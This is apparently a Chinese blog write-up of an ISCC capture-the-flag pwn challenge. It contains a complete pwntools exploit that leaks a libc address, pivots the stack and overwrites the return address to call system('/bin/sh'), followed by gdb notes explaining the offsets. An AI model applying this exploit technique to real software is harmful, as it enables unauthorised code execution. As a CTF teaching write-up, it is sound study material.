注:由于在做iscc的pwn题 发现需要用这个知识点,记录一下。(本题用了几个插件调试,有脚本直接变换插件)
-
代码审计
-
安全机制
-
考察点
-
思路
1.先泄露libc(利用read和fprint函数)
2.改变程序流,利用pc指针将程序流指向esp(栈迁移)
3.利用返回地址,完成构造 -
EXP
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import*
debug = 1
context.log_level = "debug"
p =process('./xpwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
p.recvuntil('username: ')
p.send("A"*60)
p.recvuntil("A"*60)
setbuf_addr = p.recv(4) # 泄露地址 计算libc地址
p.recv(4) #p.recv(8)
p.recv(4)
#gdb.attach(p)
main_ebp_addr = u32(p.recv(4)) #
print "[+]setbuf_addr:" +hex(u32(setbuf_addr))
print "[+]ebp_addr:" +hex(main_ebp_addr)
libc_base = u32(setbuf_addr) - libc.symbols["setbuf"]
system_addr = libc_base + libc.symbols["system"]
bin_sh_addr = libc_base + libc.search("/bin/sh").next()
gdb.attach(p)
p.recvuntil('password: ')
p.sendline('-1')
p.recvuntil('):')
payload = 'A'*68 # password到恢复栈的大小 lea esp, [ebp - 8] 为此时的栈 代码端
payload += p32(main_ebp_addr + 24) #恢复栈里面的值为 栈段的值
#payload += 'A'*(96-68-4) #填充buf 刚好让返回地址 执行system
payload += p32(0) *2
payload += 'a'*(96-68-4-8) #实际测试在输入字符串的时候只改变了 ecx的值 我们在后面将数据填充到ret就可以了 也有师傅是利用ecx-4的值提前将程序流劫持到ret处,执行shell
# 大牛的构造思路:payload = 'a'*0x44 + p32(ecx-16)+ p32(0) * 2 + p32(system_addr)+p32(0) + p32(bin_sh)
payload += p32(system_addr)
payload += p32(0)
payload += p32(bin_sh_addr)
p.sendline(payload)
p.interactive()
- gdb
注:主要是利用我们输入数据到,内置函数的位置,然后利用fprint输出 我们想要的函数的地址,达到泄露libc的方法。(填充数据,到达函数位置,用recv接收地址)
- 解析
1.p.send("A"*60)
:我们为了获取libc的基址 我们需要一个函数作为参考 这里我选取了setbuf作为参考
2.将断点下在.text:08048610 add esp, 10h
(read函数的后一个指令) ,输入用户名后,截断(ctrl+z),然后查找offset的大小(60(0x3c
)) 下图
main_ebp_addr = u32(p.recv(4))
:在后面我会需要栈平衡 我们先泄露出esp栈里面的值,作为后面栈平衡用的值
68
如图所示
payload = 'A'*68
: 这里我们需要先知道password的输入地址,(自己输入一个值,然后断下,查看),通过lea esp, [ebp-8]
知道我们需要将我们的入口esp的值要比password要小,我们进行填充将我们的数据从esp开始输入 - 96是怎么来的
我们输入password后 (下断点在ebp - 8)
返回地址
96 = 数据输入的地方 - 返回地址
我们将数据填充到返回地址出,利用ret返回地址将system替换达到获取shell的方法
24 = ebp - ecx(输入srart 一直n 知道push ecx)
payload += p32(0)2
payload += ‘A’(96-68-4-8)
注:这两步是覆盖 pop ebx/pop ebp/lea~ 执行 (通过分析程序,我们的程序在输入字符串的时候,只改变了 ecx的值,所以我们只需要还原ecx的值就可以了)
可能也有和我一样不懂的人,可以下面留言,一起讨论(写博文的时候,太着急,或许有些没写进去,欢迎讨论!)